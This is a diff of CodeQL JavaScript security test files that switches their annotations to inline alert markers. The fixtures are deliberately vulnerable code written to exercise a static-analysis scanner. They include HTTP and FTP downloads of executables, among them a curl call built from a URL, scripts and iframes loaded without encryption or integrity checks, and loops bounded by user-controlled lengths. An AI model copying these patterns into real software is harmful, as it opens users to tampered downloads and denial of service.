@@ -1 +1,2 @@
-Security/CWE-829/InsecureDownload.ql
\ No newline at end of file
+query: Security/CWE-829/InsecureDownload.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-829/insecure-download.js b/javascript/ql/test/query-tests/Security/CWE-829/insecure-download.js
index 9a62286218df..c384c81654f9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-829/insecure-download.js
+++ b/javascript/ql/test/query-tests/Security/CWE-829/insecure-download.js
@@ -23,37 +23,37 @@ function foo() {
 const request = require('request');
 
 function bar() {
-    request('http://www.google.com', function () { }); // OK
+    request('http://www.google.com', function () { });
 
-    nugget("https://download.microsoft.com/download/5/f/7/5f7acaeb-8363-451f-9425-68a90f98b238/visualcppbuildtools_full.exe") // OK
+    nugget("https://download.microsoft.com/download/5/f/7/5f7acaeb-8363-451f-9425-68a90f98b238/visualcppbuildtools_full.exe")
 
-    nugget("http://example.org/unsafe.APK") // NOT OK
+    nugget("http://example.org/unsafe.APK") // $ Alert
 }
 
 var cp = require("child_process")
 
 function baz() {
-    var url = "http://example.org/unsafe.APK";
-    cp.exec("curl " + url, function () {}); // NOT OK
+    var url = "http://example.org/unsafe.APK"; // $ Source
+    cp.exec("curl " + url, function () {}); // $ Alert
 
-    cp.execFile("curl", [url], function () {}); // NOT OK
+    cp.execFile("curl", [url], function () {}); // $ Alert
 
-    nugget("ftp://example.org/unsafe.APK") // NOT OK
+    nugget("ftp://example.org/unsafe.APK") // $ Alert
 }
 
 const fs = require("fs");
 var writeFileAtomic = require("write-file-atomic");
 
 function test() {
-    nugget("http://example.org/unsafe", {target: "foo.exe"}, () => { }) // NOT OK
+    nugget("http://example.org/unsafe", {target: "foo.exe"}, () => { }) // $ Alert
 
-    nugget("http://example.org/unsafe", {target: "foo.safe"}, () => { }) // OK
+    nugget("http://example.org/unsafe", {target: "foo.safe"}, () => { })
 
-    $.get("http://example.org/unsafe.unknown", function( data ) {
-        writeFileAtomic('unsafe.exe', data, {}, function (err) {}); // NOT OK
+    $.get("http://example.org/unsafe.unknown", function( data ) { // $ Alert
+        writeFileAtomic('unsafe.exe', data, {}, function (err) {});
     });
 
     $.get("http://example.org/unsafe.unknown", function( data ) {
-        writeFileAtomic('foo.safe', data, {}, function (err) {}); // OK
+        writeFileAtomic('foo.safe', data, {}, function (err) {});
     });
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-830/DynamicCreationOfUntrustedSourceUse.html b/javascript/ql/test/query-tests/Security/CWE-830/DynamicCreationOfUntrustedSourceUse.html
index 4e85d46db5e9..8277a07836ed 100644
--- a/javascript/ql/test/query-tests/Security/CWE-830/DynamicCreationOfUntrustedSourceUse.html
+++ b/javascript/ql/test/query-tests/Security/CWE-830/DynamicCreationOfUntrustedSourceUse.html
@@ -2,42 +2,38 @@
     <head>
         <script type="text/javascript">
             (function() {
-              // OK (we accept this, as a http document location is vulnerable anyway)
+              // OK - we accept this, as a http document location is vulnerable anyway
               var scrpt = document.createElement('script');
               scrpt.type = 'text/javascript';
               scrpt.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.cdn.local/ga.js';
 
-              // OK (integrity digest present)
+              // OK - integrity digest present
               var scrpt2 = document.createElement('script');
               scrpt2.type = 'text/javascript';
               scrpt2.src = 'http://www.cdn.local/ga.js';
               scrpt2.integrity = 'sha256-h0UuK3mE9taiYlB5u9vT9A0s/XDgkfVd+F4VhN/sky=';
 
-              // NOT OK (http + ternary)
               var scrpt3 = document.createElement('script');
               scrpt3.type = 'text/javascript';
-              scrpt3.src = ('https:' == document.location.protocol ? 'http://unsafe' : 'http://also-unsafe') + '.cdn.local/ga.js';
+              scrpt3.src = ('https:' == document.location.protocol ? 'http://unsafe' : 'http://also-unsafe') + '.cdn.local/ga.js'; // $ Alert[js/functionality-from-untrusted-source] -  http + ternary
 
-              // NOT OK (http URL)
               var ifrm = document.createElement('iframe');
-              ifrm.src = 'http://www.example.com/';
+              ifrm.src = 'http://www.example.com/'; // $ Alert[js/functionality-from-untrusted-source] - http URL
 
-              // OK (https URL)
+              // OK - https URL
               var ifrm2 = document.createElement('iframe');
               ifrm2.src = 'https://www.example.com/';
 
-              // NOT OK (http URL tracked through calls)
               function getUrl(version) {
                 return 'http://www.cdn.local/'+version+'/ga.js';
               }
               var ifrm3 = document.createElement('iframe');
-              ifrm3.src = getUrl('v123');
+              ifrm3.src = getUrl('v123'); // $ Alert[js/functionality-from-untrusted-source] - http URL tracked through calls
 
-              // NOT OK (assignment of bad URL using setAttribute)
               var ifrm4 = document.createElement('iframe');
-              ifrm4.setAttribute('src', 'http://www.example.local/page.html');
+              ifrm4.setAttribute('src', 'http://www.example.local/page.html'); // $ Alert[js/functionality-from-untrusted-source] - assignment of bad URL using setAttribute
 
-              // OK (bad URL, but the attribute is not `src`)
+              // OK - bad URL, but the attribute is not `src`
               var ifrm5 = document.createElement('iframe');
               ifrm5.setAttribute('data-src', 'http://www.example.local/page.html');
             })();
@@ -46,4 +42,4 @@
     <body>
         hello
     </body>
-</html>
\ No newline at end of file
+</html>
diff --git a/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedDomain.qlref b/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedDomain.qlref
index 9c6f27d852f6..2bad54f7d2f9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedDomain.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedDomain.qlref
@@ -1 +1,2 @@
-Security/CWE-830/FunctionalityFromUntrustedDomain.ql
\ No newline at end of file
+query: Security/CWE-830/FunctionalityFromUntrustedDomain.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.expected b/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.expected
index 53ed4f16aba8..c97e109441dd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.expected
@@ -1,7 +1,7 @@
-| DynamicCreationOfUntrustedSourceUse.html:19:28:19:129 | ('https ... /ga.js' | Script loaded using unencrypted connection. |
-| DynamicCreationOfUntrustedSourceUse.html:23:26:23:50 | 'http:/ ... e.com/' | Iframe loaded using unencrypted connection. |
-| DynamicCreationOfUntrustedSourceUse.html:34:27:34:40 | getUrl('v123') | Iframe loaded using unencrypted connection. |
-| DynamicCreationOfUntrustedSourceUse.html:38:41:38:76 | 'http:/ ... e.html' | Iframe loaded using unencrypted connection. |
+| DynamicCreationOfUntrustedSourceUse.html:18:28:18:129 | ('https ... /ga.js' | Script loaded using unencrypted connection. |
+| DynamicCreationOfUntrustedSourceUse.html:21:26:21:50 | 'http:/ ... e.com/' | Iframe loaded using unencrypted connection. |
+| DynamicCreationOfUntrustedSourceUse.html:31:27:31:40 | getUrl('v123') | Iframe loaded using unencrypted connection. |
+| DynamicCreationOfUntrustedSourceUse.html:34:41:34:76 | 'http:/ ... e.html' | Iframe loaded using unencrypted connection. |
 | StaticCreationOfUntrustedSourceUse.html:6:9:6:56 | <script>...</> | Script loaded using unencrypted connection. |
 | StaticCreationOfUntrustedSourceUse.html:9:9:9:58 | <iframe>...</> | Iframe loaded using unencrypted connection. |
-| StaticCreationOfUntrustedSourceUse.html:21:9:21:155 | <script>...</> | Script loaded from content delivery network with no integrity check. |
+| StaticCreationOfUntrustedSourceUse.html:20:9:20:155 | <script>...</> | Script loaded from content delivery network with no integrity check. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.qlref b/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.qlref
index f723b62e4d4e..0046cb5fb4dd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-830/FunctionalityFromUntrustedSource.qlref
@@ -1 +1,2 @@
-Security/CWE-830/FunctionalityFromUntrustedSource.ql
\ No newline at end of file
+query: Security/CWE-830/FunctionalityFromUntrustedSource.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-830/StaticCreationOfUntrustedSourceUse.html b/javascript/ql/test/query-tests/Security/CWE-830/StaticCreationOfUntrustedSourceUse.html
index 01018110e1af..bc9a83ffd350 100644
--- a/javascript/ql/test/query-tests/Security/CWE-830/StaticCreationOfUntrustedSourceUse.html
+++ b/javascript/ql/test/query-tests/Security/CWE-830/StaticCreationOfUntrustedSourceUse.html
@@ -3,21 +3,20 @@
     <head>
     </head>
     <body>
-        <script src="http://test.local/foo.js"></script>> <!-- NOT OK -->
-        <script src="http://test.local/foo.js" integrity="some-integrity-hash"></script>>  <!-- OK (integrity digest present) -->
-        <script src="https://test.local/bar.js"></script>> <!-- OK (https) -->
-        <iframe src="http://test.local/foo.html"></iframe> <!-- NOT OK -->
-        <iframe src="https://test.local/foo.html"></iframe> <!-- OK (https) -->
+        <script src="http://test.local/foo.js"></script>> <!-- $ Alert[js/functionality-from-untrusted-source] -->
+        <script src="http://test.local/foo.js" integrity="some-integrity-hash"></script>>  <!-- OK - integrity digest present -->
+        <script src="https://test.local/bar.js"></script>> <!-- OK - https -->
+        <iframe src="http://test.local/foo.html"></iframe> <!-- $ Alert[js/functionality-from-untrusted-source] -->
+        <iframe src="https://test.local/foo.html"></iframe> <!-- OK - https -->
         <iframe src="//test.local/foo.html"></iframe> <!-- OK (protocol-relative url is allowed as a http url of 
             the page is vulnerable in the first place) -->
-        <iframe src="http://::1/foo.html"></iframe> <!-- OK (localhost) -->
-        <iframe src="http://[::1]:80/foo.html"></iframe> <!-- OK (localhost) -->
-        <iframe src="http://127.0.0.1:444/foo.html"></iframe> <!-- OK (localhost) -->
+        <iframe src="http://::1/foo.html"></iframe> <!-- OK - localhost -->
+        <iframe src="http://[::1]:80/foo.html"></iframe> <!-- OK - localhost -->
+        <iframe src="http://127.0.0.1:444/foo.html"></iframe> <!-- OK - localhost -->
 
         <!-- Some CDNs recommend using the integrity attribute — for those, we demand it even with https links -->
-        <!-- OK (digest present) -->
+        <!-- OK - digest present -->
         <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js" integrity="sha512-7oYXeK0OxTFxndh0erL8FsjGvrl2VMDor6fVqzlLGfwOQQqTbYsGPv4ZZ15QHfSk80doyaM0ZJdvkyDcVO7KFA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
-        <!-- NOT OK (digest missing) -->
-        <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script> <!--  $ Alert[js/functionality-from-untrusted-source] - digest missing  -->
     </body>
 </html>
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-830/polyfill-nocheck.html b/javascript/ql/test/query-tests/Security/CWE-830/polyfill-nocheck.html
index 6b9fbfe65c8a..97ed8b016f00 100644
--- a/javascript/ql/test/query-tests/Security/CWE-830/polyfill-nocheck.html
+++ b/javascript/ql/test/query-tests/Security/CWE-830/polyfill-nocheck.html
@@ -1,7 +1,7 @@
 <html>
     <head>
         <title>Polyfill.io demo</title>
-        <script src="https://cdn.polyfill.io/v2/polyfill.min.js" crossorigin="anonymous"></script>
+        <script src="https://cdn.polyfill.io/v2/polyfill.min.js" crossorigin="anonymous"></script> <!-- $ Alert[js/functionality-from-untrusted-domain] -->
     </head>
     <body>
         ...
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.expected b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.expected
index 511e776ed3c8..6aedcc6c4c56 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.expected
@@ -1,3 +1,13 @@
+#select
+| LoopBoundInjectionBad.js:20:25:20:27 | val | LoopBoundInjectionBad.js:8:13:8:20 | req.body | LoopBoundInjectionBad.js:20:25:20:27 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:8:13:8:20 | req.body | user-provided value |
+| LoopBoundInjectionBad.js:29:16:29:18 | val | LoopBoundInjectionBad.js:10:15:10:22 | req.body | LoopBoundInjectionBad.js:29:16:29:18 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:10:15:10:22 | req.body | user-provided value |
+| LoopBoundInjectionBad.js:38:15:38:17 | val | LoopBoundInjectionBad.js:12:25:12:32 | req.body | LoopBoundInjectionBad.js:38:15:38:17 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:12:25:12:32 | req.body | user-provided value |
+| LoopBoundInjectionBad.js:51:25:51:27 | val | LoopBoundInjectionBad.js:14:19:14:26 | req.body | LoopBoundInjectionBad.js:51:25:51:27 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:14:19:14:26 | req.body | user-provided value |
+| LoopBoundInjectionExitBad.js:20:22:20:24 | val | LoopBoundInjectionExitBad.js:8:9:8:16 | req.body | LoopBoundInjectionExitBad.js:20:22:20:24 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:8:9:8:16 | req.body | user-provided value |
+| LoopBoundInjectionExitBad.js:34:22:34:24 | val | LoopBoundInjectionExitBad.js:10:9:10:16 | req.body | LoopBoundInjectionExitBad.js:34:22:34:24 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:10:9:10:16 | req.body | user-provided value |
+| LoopBoundInjectionExitBad.js:49:22:49:24 | val | LoopBoundInjectionExitBad.js:12:10:12:17 | req.body | LoopBoundInjectionExitBad.js:49:22:49:24 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:12:10:12:17 | req.body | user-provided value |
+| LoopBoundInjectionExitBad.js:60:8:60:10 | val | LoopBoundInjectionExitBad.js:14:14:14:21 | req.body | LoopBoundInjectionExitBad.js:60:8:60:10 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:14:14:14:21 | req.body | user-provided value |
+| LoopBoundInjectionLodash.js:13:13:13:15 | val | LoopBoundInjectionLodash.js:9:13:9:20 | req.body | LoopBoundInjectionLodash.js:13:13:13:15 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionLodash.js:9:13:9:20 | req.body | user-provided value |
 edges
 | LoopBoundInjectionBad.js:8:13:8:20 | req.body | LoopBoundInjectionBad.js:17:18:17:20 | val | provenance |  |
 | LoopBoundInjectionBad.js:10:15:10:22 | req.body | LoopBoundInjectionBad.js:25:20:25:22 | val | provenance |  |
@@ -46,13 +56,3 @@ nodes
 | LoopBoundInjectionLodash.js:12:18:12:20 | val | semmle.label | val |
 | LoopBoundInjectionLodash.js:13:13:13:15 | val | semmle.label | val |
 subpaths
-#select
-| LoopBoundInjectionBad.js:20:25:20:27 | val | LoopBoundInjectionBad.js:8:13:8:20 | req.body | LoopBoundInjectionBad.js:20:25:20:27 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:8:13:8:20 | req.body | user-provided value |
-| LoopBoundInjectionBad.js:29:16:29:18 | val | LoopBoundInjectionBad.js:10:15:10:22 | req.body | LoopBoundInjectionBad.js:29:16:29:18 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:10:15:10:22 | req.body | user-provided value |
-| LoopBoundInjectionBad.js:38:15:38:17 | val | LoopBoundInjectionBad.js:12:25:12:32 | req.body | LoopBoundInjectionBad.js:38:15:38:17 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:12:25:12:32 | req.body | user-provided value |
-| LoopBoundInjectionBad.js:51:25:51:27 | val | LoopBoundInjectionBad.js:14:19:14:26 | req.body | LoopBoundInjectionBad.js:51:25:51:27 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionBad.js:14:19:14:26 | req.body | user-provided value |
-| LoopBoundInjectionExitBad.js:20:22:20:24 | val | LoopBoundInjectionExitBad.js:8:9:8:16 | req.body | LoopBoundInjectionExitBad.js:20:22:20:24 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:8:9:8:16 | req.body | user-provided value |
-| LoopBoundInjectionExitBad.js:34:22:34:24 | val | LoopBoundInjectionExitBad.js:10:9:10:16 | req.body | LoopBoundInjectionExitBad.js:34:22:34:24 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:10:9:10:16 | req.body | user-provided value |
-| LoopBoundInjectionExitBad.js:49:22:49:24 | val | LoopBoundInjectionExitBad.js:12:10:12:17 | req.body | LoopBoundInjectionExitBad.js:49:22:49:24 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:12:10:12:17 | req.body | user-provided value |
-| LoopBoundInjectionExitBad.js:60:8:60:10 | val | LoopBoundInjectionExitBad.js:14:14:14:21 | req.body | LoopBoundInjectionExitBad.js:60:8:60:10 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionExitBad.js:14:14:14:21 | req.body | user-provided value |
-| LoopBoundInjectionLodash.js:13:13:13:15 | val | LoopBoundInjectionLodash.js:9:13:9:20 | req.body | LoopBoundInjectionLodash.js:13:13:13:15 | val | Iteration over a user-controlled object with a potentially unbounded .length property from a $@. | LoopBoundInjectionLodash.js:9:13:9:20 | req.body | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.qlref
index 8186c4fca6a3..6313b6e4f63d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-834/LoopBoundInjection.ql
\ No newline at end of file
+query: Security/CWE-834/LoopBoundInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionBad.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionBad.js
index bca6567b4f5e..ea92479d9b97 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionBad.js
@@ -5,19 +5,19 @@ var router = new express.Router();
 var rootRoute = router.route('foobar');
 
 rootRoute.post(function(req, res) {
-    problem(req.body);
+    problem(req.body); // $ Source
 
-    whileLoop(req.body);
+    whileLoop(req.body); // $ Source
 
-    useLengthIndirectly(req.body);
+    useLengthIndirectly(req.body); // $ Source
 
-    noNullPointer(req.body);
+    noNullPointer(req.body); // $ Source
 });
 
 function problem(val) {
     var ret = [];
 
-    for (var i = 0; i < val.length; i++) { // NOT OK!
+    for (var i = 0; i < val.length; i++) { // $ Alert
         ret.push(val[i]);
     }
 }
@@ -26,7 +26,7 @@ function whileLoop(val) {
     var ret = [];
     var i = 0;
     
-    while (i < val.length) { // NOT OK!
+    while (i < val.length) { // $ Alert
         ret.push(val[i]);
         i++;
     }
@@ -35,7 +35,7 @@ function whileLoop(val) {
 function useLengthIndirectly(val) {
     var ret = [];
 
-    var len = val.length; // NOT OK!
+    var len = val.length; // $ Alert
 
     for (var i = 0; i < len; i++) {
         ret.push(val[i]);
@@ -48,7 +48,7 @@ function noNullPointer(val) {
 
     const c = 0;
 
-    for (var i = 0; i < val.length; i++) { // NOT OK!
+    for (var i = 0; i < val.length; i++) { // $ Alert
         
         // Constantly accessing element 0, therefore not guaranteed null-pointer.
         ret.push(val[c].foo); 
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitBad.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitBad.js
index 3193a384aca2..3ce829e1f19f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitBad.js
@@ -5,19 +5,19 @@ var rootRoute = router.route('foobar');
 var _ = require("lodash");
 
 rootRoute.post(function (req, res) {
-	breaks(req.body);
+	breaks(req.body); // $ Source
 	
-	throws(req.body);
+	throws(req.body); // $ Source
 	
-	returns(req.body);
+	returns(req.body); // $ Source
 	
-	lodashThrow(req.body);
+	lodashThrow(req.body); // $ Source
 });
 
 function breaks(val) {
 	var ret = [];
 	
-	for (var i = 0; i < val.length; i++) { // NOT OK!
+	for (var i = 0; i < val.length; i++) { // $ Alert
 	  for (var k = 0; k < 2; k++) {
 		  if (k == 3) {
 		      // Does not prevent DoS, because this is inside an inner loop.
@@ -31,7 +31,7 @@ function breaks(val) {
 function throws(val) {
 	var ret = [];
 	
-	for (var i = 0; i < val.length; i++) { // NOT OK!
+	for (var i = 0; i < val.length; i++) { // $ Alert
 	  if (val[i] == null) {
 		  try {
 			  throw 2; // Is caught, and therefore the DoS is not prevented.
@@ -46,7 +46,7 @@ function throws(val) {
 function returns(val) {
 	var ret = [];
 	
-	for (var i = 0; i < val.length; i++) { // NOT OK!
+	for (var i = 0; i < val.length; i++) { // $ Alert
 	  if (val[i] == null) {
 		  (function (i) {
 			  return i+2; // Does not prevent DoS.
@@ -57,7 +57,7 @@ function returns(val) {
 }
 
 function lodashThrow(val) {
-	_.map(val, function (e) { // NOT OK!
+	_.map(val, function (e) { // $ Alert
 		if (!e) {
 			try {
 				throw new Error(); // Does not prevent DoS.
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitGood.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitGood.js
index 705ec6b5b0ea..71586956dad2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionExitGood.js
@@ -17,7 +17,7 @@ rootRoute.post(function (req, res) {
 function breaks(val) {
 	var ret = [];
 	
-	for (var i = 0; i < val.length; i++) { // OK
+	for (var i = 0; i < val.length; i++) {
 	  if (val[i] == null) {
 		  break; // Prevents DoS.
 	  }
@@ -28,7 +28,7 @@ function breaks(val) {
 function throws(val) {
 	var ret = [];
 	
-	for (var i = 0; i < val.length; i++) { // OK
+	for (var i = 0; i < val.length; i++) {
 	  if (val[i] == null) {
 		  throw 2; // Prevents DoS.
 	  }
@@ -40,7 +40,7 @@ function throws(val) {
 function returns(val) {
 	var ret = [];
 	
-	for (var i = 0; i < val.length; i++) { // OK
+	for (var i = 0; i < val.length; i++) {
 	  if (val[i] == null) {
 		  return 2; // Prevents DoS.
 	  }
@@ -49,7 +49,7 @@ function returns(val) {
 }
 
 function lodashThrow(val) {
-	_.map(val, function (e) { // OK
+	_.map(val, function (e) {
 		if (!e) {
 			throw new Error(); // Prevents DoS.
 		}
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionGood.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionGood.js
index 49c813834450..ddd0dcf3301d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionGood.js
@@ -23,7 +23,7 @@ function sanitized(val) {
     // At this point we know that val must be an Array, and an attacker is
     // therefore not able to send a cheap request that spends a lot of time
     // inside the loop.
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i] + 42);
     }
 }
@@ -35,7 +35,7 @@ function sanitized2(val) {
         return [];
     }
     // Val can only be a primitive. Therefore no issue!
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i] + 42);
     }
 }
@@ -53,7 +53,7 @@ function sanitized3(val) {
     // At this point we know that val must be an Array, and an attacker is
     // therefore not able to send a cheap request that spends a lot of time
     // inside the loop.
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i] + 42);
     }
 }
@@ -67,7 +67,7 @@ function sanitized4(val) {
     // At this point we know that val must be an Array, and an attacker is
     // therefore not able to send a cheap request that spends a lot of time
     // inside the loop.
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i] + 42);
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionLodash.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionLodash.js
index 2f2fdb0d67a0..6445d3bfbb82 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionLodash.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionLodash.js
@@ -6,9 +6,9 @@ var router = new express.Router();
 var rootRoute = router.route('foobar');
 
 rootRoute.post(function(req, res) {
-    problem(req.body);
+    problem(req.body); // $ Source
 });
 
 function problem(val) {
-    _.chunk(val, 2); // NOT OK!
+    _.chunk(val, 2); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousLengthCheck.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousLengthCheck.js
index 22649392557e..a9817883f082 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousLengthCheck.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousLengthCheck.js
@@ -16,7 +16,7 @@ function problem(val) {
         return [];
     }
 
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i]);
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointer.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointer.js
index b8e4b1f50971..bd3aed633ff5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointer.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointer.js
@@ -21,7 +21,7 @@ rootRoute.post(function(req, res) {
 function nullPointer(val) {
     var ret = [];
 
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i].foo + 42);
     }
 }
@@ -30,7 +30,7 @@ function nullPointer(val) {
 function nullPointer2(val) {
     var ret = [];
 
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
     	var element = val[i];
         ret.push(element.foo + 42);
     }
@@ -38,7 +38,7 @@ function nullPointer2(val) {
 
 function nullPointer3(val) {
 	let arr = val.messaging
-	for (let i = 0; i < arr.length; i++) { // OK
+	for (let i = 0; i < arr.length; i++) {
 		let event = val.messaging[i]
 		let sender = event.sender.id
 	}
@@ -46,13 +46,13 @@ function nullPointer3(val) {
 
 
 function lodashPointer(val) {
-    return _.map(val, function(e) { // OK
+    return _.map(val, function(e) {
         return e.foo;
     })
 }
 
 function lodashArrowFunc(val) {
-	return _.map(val, (e) => { // OK
+	return _.map(val, (e) => {
         return e.foo;
     });
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointerInPreviousLoop.js b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointerInPreviousLoop.js
index bbbe3a9eb7ee..ac456fbdbd94 100644
--- a/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointerInPreviousLoop.js
+++ b/javascript/ql/test/query-tests/Security/CWE-834/LoopBoundInjectionObviousNullPointerInPreviousLoop.js
@@ -14,11 +14,11 @@ function nullPointer(val) {
     var ret = [];
 
     // Has obvious null-pointer. And guards the next loop.
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i].foo);
     }
 
-    for (var i = 0; i < val.length; i++) { // OK
+    for (var i = 0; i < val.length; i++) {
         ret.push(val[i]);
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected b/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected
index 27de08dc8461..b07e1c194a45 100644
--- a/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected
@@ -1,3 +1,18 @@
+#select
+| tst.js:6:5:6:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:6:5:6:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
+| tst.js:8:5:8:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:8:5:8:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
